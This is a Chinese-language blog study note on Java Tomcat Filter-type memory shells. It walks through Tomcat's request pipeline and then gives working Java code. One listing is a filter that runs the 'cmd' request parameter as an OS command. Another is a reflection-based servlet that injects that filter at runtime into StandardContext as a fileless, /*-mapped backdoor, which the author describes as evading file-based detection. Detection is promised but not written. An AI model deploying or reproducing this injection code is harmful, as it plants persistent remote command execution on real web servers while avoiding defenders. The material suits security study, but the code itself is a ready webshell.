Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html
这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马
内存马的学习基本都是参考上面标注的博客文章,主要自己过一遍学习!
什么是内存马
什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。
落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题。
Tomcat请求处理结构
在这里我们来学习下Tomcat的结构,以下是Tomcat对请求处理流程的结构图
Server
即指的WEB服务器,一个Server包括多个Service。
Service
在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。
一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。
Connector
Connector(连接器)组件是Tomcat最核心的两个组件之一,主要的职责就是负责接收客户端连接和客户端请求的处理加工Request和Response对象。
每个Connector都将指定一个端口进行监听,分别负责对请求报文的解析和响应报文组装,解析过程生成Request对象,而组装过程涉及Response对象。
Tomcat有两个典型的Connector:
1、一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求。
2、另外一个是Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。
Engine
可以用来配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
Host:
每一个Host代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配,这个点可以利用是hosts碰撞
每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是"最长匹配",所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。
Context:
一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。
Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
这里的映射表其实就是在编写完每个Servlet的时候,需要在web.xml中写到对应的映射标签!
Tomcat的解析流程
还是从Connector开始,Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。
ProtocolHandler:
在Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来进行加工。
不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。
ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是:
- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。
请求经Connector处理完毕后,传递给Container进行处理。
Container
Container容器则是负责封装和管理Servlet处理用户的Servlet请求,并返回对象给web用户的模块。
Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue),BaseValue 会在最后执行。
上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain 相当于 Pipeline,每个 Filter 相当于一个 Value。
4 个容器的BaseValve 分别是StandardEngineValve 、StandardHostValve 、StandardContextValve 和StandardWrapperValve。
每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve,BaseValve 是不可删除的。
最终的流程图如下:
上面的全部都是抄的,我得用自己的话来加深理解,首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。
那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象!
FilterChain对象
这里继续将FilterChain,这个对象大家肯定都很熟悉啊,因为在学习Servlet的时候,这个是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象
过滤链(FilterChain):在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。
如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)
小知识点:在开发中,当我们想要进行多个FilterChain同时作用的时候,那么我们此时还会用到该对象中的doFilter方法来进行传递处理!如果只有一个Filter也需要,默认它则转发给对应的Servlet!
整体的流程:
Server :
- Service
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受,处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象
--- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Context: 相当于一个web应用
--- Context:相当于一个web应用
--- Context:相当于一个web应用
到了这里,我们来实现一个简单的FilterChain吧
用到的POM依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.3</version>
<scope>provided</scope>
</dependency>
Servlet中实现的代码如下:
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("我是doGet方法");
resp.getWriter().print("WOW 我爱上了你");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
过滤器实现的代码:
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("WOW Filter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setCharacterEncoding("utf-8");
request.setCharacterEncoding("utf-8");
response.setContentType("text/html;Charset=UTF-8");
System.out.println("我接收到了请求,并且马上就要进行过滤了");
chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
System.out.println("我过滤完了...");
}
@Override
public void destroy() {
System.out.println("WOW Filter destroy");
}
}
结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容!
内存马的实现
上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象
如下先实现一个简单的Filter对象的命令执行的效果
首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如"cmd","command"类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*
这种形式!
如下进行实现操作:
public class MemoryFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null){
Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = exec.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
System.out.println("过滤器调用完毕,开始转发给Servlet...");
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
接着再加上映射关系:
当请求URL为:http://127.0.0.1:8080/?cmd=whoami
可以发现已经成功执行命令了,并且回显在页面上
上面演示了下关于过滤链,那么对于内存马到底是如何实现的?
首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了
所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马!
那么如何可以动态的在内存中创建Filter对象呢?
知识点1:ServletContext
web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行
那么该对象如何获得?
在tomcat容器中中ServletContext的实现类是ApplicationContext类
在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。
我们这里通过一个ServletContext servletContext = this.getServletContext();
来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象!
如下所示下一个断点
当前获取到了ServletContext的实现类,如下所示
我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象
知识点2:组装Filters的流程
我们还需要看下Filter的调用流程是怎么样的?
这里想要调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的!
找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点(为啥要在这里打断点,后面有说明)
继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象
internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法
接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法
那么我为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢?
那还得看ApplicationFilterChain这个对象是什么?大家可以理解为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段
ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的
来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用
在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看
跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象
接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系,最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。
知识点3:FilterConfig
现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法
继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?
答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去
这个FilterConfig对象中包含着如下属性
该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef
那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef
开始理清思路:
1、获取当前应用的ServletContext对象
2、再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现
这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取!
实现的代码如下:
public class InjectMemoryServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
接着注册下映射关系
这里测试之前先把之前注册的filter注释掉,接着启动服务进行测试
访问URL:http://127.0.0.1:8080/?cmd=whoami
因为前面的filter注释掉了,所以这里没反应
访问URL:http://127.0.0.1:8080/inject
接着访问URL:http://127.0.0.1:8080/?cmd=whoami
那么到现在为止也就是内存马创建了,实现内存马在这里就讲完了
内存马的查杀
参考文章:http://gv7.me/articles/2020/kill-java-web-filter-memshell/
已经学,那就一次性彻底了解到位!
上面已经学习了如何实现内存马,那么这里继续了解内存马该如何查杀
我看了下,又是一些盲目的知识点,还是以后补上去吧!
fastjson配合内存马的实战
项目测试中遇到的fastjson,由于环境问题导致无法反弹shell,我这里使用fastjson反序列化漏洞来实现内存马!
自己在找资料的时候看到的都是shiro的内存马,所以想要实现fastjson反序列化的内存马,这就需要我们自己动手来改了
2021.11.18补充
参考博客中另外的文章即可: